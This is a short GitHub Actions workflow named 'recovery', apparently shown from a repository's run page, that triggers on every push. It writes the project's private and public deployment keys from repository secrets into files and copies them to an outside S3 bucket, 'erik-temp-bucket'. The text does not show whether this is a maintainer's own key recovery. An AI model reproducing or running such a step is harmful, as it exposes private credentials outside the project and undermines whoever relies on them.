Export access keys to environment #6
Workflow file for this run
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
name: recovery | |
on: [push] | |
jobs: | |
recovery: | |
runs-on: [ubuntu-latest] | |
steps: | |
- name: write files | |
run: |- | |
mkdir keys | |
echo "${{ secrets.SPACK_DEPLOYMENT_KEY_PUB }}" > keys/spack_key.pub | |
echo "${{ secrets.SPACK_DEPLOYMENT_KEY_PRIVATE }}" > keys/spack_key | |
ls | |
ls keys | |
aws s3 cp --recursive keys/ s3://erik-temp-bucket/ | |
env: | |
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} | |
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} |